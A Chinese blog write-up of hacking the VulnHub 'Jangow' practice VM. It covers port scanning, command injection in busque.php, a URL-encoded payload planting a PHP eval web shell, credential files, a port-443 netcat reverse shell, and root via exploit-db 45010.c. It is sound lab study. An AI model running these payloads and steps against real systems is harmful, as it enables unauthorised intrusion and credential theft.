打靶笔记-04-vulnhub-Jangow

前面两篇名称写成了vulhub,已经更改为vulnhub;vulhub的之后再找个时间集中打一遍。

一、靶机信息

Name: Jangow: 1.0.1 (Easy)
Date release: 4 Nov 2021
Author: Jangow
Series: Jangow

二、启动靶机

2.1 校验靶机

2.2 导入Vbox,配置网络

因为攻击机器都在vmware上,所以还是将靶机网络桥接到vmnet8网卡上。

2.3 打快照,启动靶机

没啥好说的,以防万一,打个快照启动



可以直接看到ip地址,不过按照实际中的话时看不到这个界面的。

三、开始打靶

3.1 信息搜集

3.1.1 主机发现

ifconfig
sudo arp-scan -I eth0 -l



获得靶机IP 172.16.95.140

3.1.2 端口发现

sudo nmap -p- 172.16.95.140



只开放22和80端口

3.1.3 进一步确认端口背后服务以及具体版本号

sudo nmap -sV -p22,80 172.16.95.140



可以看到22端口是filtered的状态,也就是22端口被防火墙过滤了,80端口对应的是Apache httpd 2.4.18

3.1.4 使用nmap默认脚本扫描

sudo nmap -sC -p22,80 172.16.95.140



貌似没有啥发现,80端口也挂载的是普通页面,先看看去

3.2 开始渗透

3.2.1 访问80端口



是个目录,继续点,发现是个网页,然后里面有一个目录链接site,继续点



最后发现个链接指向一个busque.php文件,并且拥有参数buscar可以接收值,但不知道干啥用的,最后经过fuzz测试,确定为命令执行

3.2.2 信息收集

既然是命令执行,那就可以直接来一波简单的信息收集

id
pwd
ls
ls ./wordpress
cat ./wordpress













在进行常规信息搜集后,发现有一个wordpress的目录,并且还获取到了数据库账

不过以上好像没啥用,数据库也无法访问,也没有更多有用的目录。

3.2.3 写入小马

因为命令执行,所以尝试了各种姿势反弹shell,可能是水平不够,wget也无法下载到远程服务器上的马儿,所以就开始尝试写入小马

http://172.16.95.140/site/busque.php?buscar=echo%20%27%3C?php%20@eval($_POST[%27ant%27]);?%3E%27%20%3E1.php





成功写入,上蚁剑,连接成功



继续收集信息,获得用户jangow01家目录下有个user.txt,内容似乎是md5加密的,可以顺手破解一下,不过好像是空的,没有任何内容,奇怪



翻了翻其他目录在html目录下发现.backup文件,里面是用户jangow01的mysql账户密码

然后尝试上传反弹shell的php文件也无法反弹成功

3.2.4 反弹shell

蚁剑虽然连接成功了,但是shell最终还是个webshell,可干的事儿有限,所以还是的反弹shell提权

经历过刚刚命令执行反弹shell失败,然后尝试上传反弹shell的php文件也失败了,联想刚开始端口扫描时22端口被过滤的情况,应该是目标机器防火墙搞得鬼。

不过好在目标机器nc可以使用,不过最终也没有反弹成功,因为它无法带-e参数。

=-=

打到这儿自己就没思路了,最后查看了别人的攻略,这儿的关键点在于目标机器防火墙对进出的端口进行了限制,最后尝试了443端口可以成功利用

nc -lvnp 443



3.2.5 升级shell为tty

which python python2 python3 py py2 py3
python -c 'import pty;pty.spawn("/bin/bash")';
export TERM=xterm-256color
stty raw -echo;fg

3.2.6 寻找漏洞提权

升级shell之后,就可以sudo和su了,结合之前发现的两个mysql账户名密码,尝试了以下切换用户,结果mysql的账户密码和系统的账户密码一致。



然后尝试sudo的时候失败了,好像不是英文,不过看到了个sudoer,猜测应该是提示这个用户不再sudoer文件中,也就是没有sudo的权限。

那就看看有没有其他漏洞可以利用吧

uname -r
uname -a
lsb_release -a



ubuntu的版本为16.04.1 LTS

searchsploit Linux Kernel 4.4.



这个搜索到的有很多看着比较符合,不过这个有点意思的是有个在windows的分类下,有点奇怪,先拿它看看

sudo cp /usr/share/exploitdb/exploits/windows_x86-64/local/47170.c /var/www/html/test.c



然后在目标机器上下载test.c,结果都无法搞定,应该是对方防火墙导致的。

=-=,一会儿提权成功一定要看下它的防火墙策略,最后通过蚁剑传了过去,不过gcc编译失败了



继续换linux/local/45010.c

sudo cp /usr/share/exploitdb/exploits/linux/local/45010.c ./



然后还是通过蚁剑上传编译执行,最后成功拿到root权限

ls
gcc -o exp 45010.c
chmod +x exp
./exp
id

3.2.7 查看防火墙

bash
sudo ufw status

果然,=-=,禁止访问任何端口,除了443



关闭防火墙,可以成功访问,真变态

四、总结

这个靶机难点就是能够找到唯一可利用的443端口进行反弹shell,没有这个端口,有再多的反弹姿势,防火墙拦截的死死的,除非能用webshell进行本地提权,这个不现实,至少对我来说是的,能力不够

然后看到别人有批量提权的脚本,先记录下,随后的靶机中尝试以下

linux 提权辅助脚本



敖~,果然特么神器=-=

原谅我这个菜鸡现在才找到这些神器,应该在自己犯懒的时候先找下有没有懒人神器,没有的话自己总结搞一个,加油~~~

打靶笔记-04-vulnhub-Jangow的更多相关文章

  1. 打靶笔记-01-vulnhub-moneybox

    打靶笔记-01-vulnhub-moneybox 本篇笔记根据苑老师视频进行学习记录 https://www.bilibili.com/video/BV1Lv411n7Lq/?spm_id_from= ...

  2. JS自学笔记04

    JS自学笔记04 arguments[索引] 实参的值 1.对象 1)创建对象 ①调用系统的构造函数创建对象 var obj=new Object(); //添加属性.对象.名字=值; obj.nam ...

  3. JAVA自学笔记04

    JAVA自学笔记04 1.switch语句 1)格式:switch(表达式){ case 值1: 语句体1; break; case 值2: 语句体2; break; - default: 语句体n+ ...

  4. 机器学习实战(Machine Learning in Action)学习笔记————04.朴素贝叶斯分类(bayes)

    机器学习实战(Machine Learning in Action)学习笔记————04.朴素贝叶斯分类(bayes) 关键字:朴素贝叶斯.python.源码解析作者:米仓山下时间:2018-10-2 ...

  5. CS229 笔记04

    CS229 笔记04 Logistic Regression Newton's Method 根据之前的讨论,在Logistic Regression中的一些符号有: \[ \begin{eqnarr ...

  6. SaToken学习笔记-04

    SaToken学习笔记-04 如果有问题,请点击:传送门 角色认证 在sa-token中,角色和权限可以独立验证 // 当前账号是否含有指定角色标识, 返回true或false StpUtil.has ...

  7. Redis:学习笔记-04

    Redis:学习笔记-04 该部分内容,参考了 bilibili 上讲解 Redis 中,观看数最多的课程 Redis最新超详细版教程通俗易懂,来自 UP主 遇见狂神说 10. Redis主从复制 1 ...

  8. Java:并发笔记-04

    Java:并发笔记-04 说明:这是看了 bilibili 上 黑马程序员 的课程 java并发编程 后做的笔记 本章内容-3 线程状态转换 活跃性 Lock 3.10 重新理解线程状态转换 假设有线 ...

  9. 打靶笔记-03-vulhub-Moriarty Corp

    打靶笔记-03-vulhub-BoredHackerBlog 一.靶机信息 Name: BoredHackerBlog: Moriarty Corp(中-高级难度) Date release: 29 ...

随机推荐

  1. UIImageView的frame设置

    - (void)viewDidLoad { [super viewDidLoad]; /* // 设置frame的方式 // 方式一 UIImageView *imageView = [[UIImag ...

  2. ittun.com的使用方法

    [如果这篇文章对你有所作用,请加关注哦!] 步骤一: 进入官网http://ittun.com/ Windows 64位下载http://ittun.com/upload/17.2/ittun_win ...

  3. LBS应用之 根据一点的经纬度实现附近点的查询

    这年头和LBS相关的应用越来越火.从foursquare的热闹程度就可见一般(什么,没听过 foursquare-. 哥们,你 out 了).和 LBS有关的应用一般都包括一些共同的操作,最常见的一个 ...

  4. NSLog 和printf区别

    NSLog是Foundation框架供的Objective-C日志输出函数,与标准C中的printf函数类似,并可以格式化输出. NSLog传递进去的格式化字符是NSString的对象,而不是char ...

  5. 计算机网络再次整理————tcp周边[八]

    前言 tcp的包的格式可以看我以前的计算机网络整理,下面这些周边只是为了开发时候我们能用到一些理论知识. 正文 首先要介绍的就是域名,为啥有域名这东西呢?单纯站在网络的角度上讲这属于应用层的东西了. ...

  6. 从零开始, 开发一个 Web Office 套件 (3): 鼠标事件

    这是一个系列博客, 最终目的是要做一个基于HTML Canvas 的, 类似于微软 Office 的 Web Office 套件, 包括: 文档, 表格, 幻灯片... 等等. 对应的Github r ...

  7. Ubuntu20.04 PostgreSQL 14 安装配置记录

    PostgreSQL 名称来源 It was originally named POSTGRES, referring to its origins as a successor to the Ing ...

  8. Solution -「Gym 102979L」 Lights On The Road

    \(\mathcal{Description}\)   Link.   给定序列 \(\{w_n\}\),选择 \(i\) 位置的代价为 \(w_i\),要求每个位置要不被选择,要不左右两个位置至少被 ...

  9. 【C# 调试】.net中的 .pdb文件是什么,有什么用

    mscn:在 Visual Studio 调试器(C#)中指定符号 (.pdb) 和源文件 PDB全称Program Database,程序数据库 ( .pdb) 文件(也称为符号文件)将项目源代码中 ...

  10. Pycharm:一直connecting to console的解决办法

    方法一: 1.打开Anaconda cmd(也就是Anaconda Prompt,在启动栏Anaconda目录里应该有)2.输入echo %PATH% 获得PATH value3.在PyCharm中, ...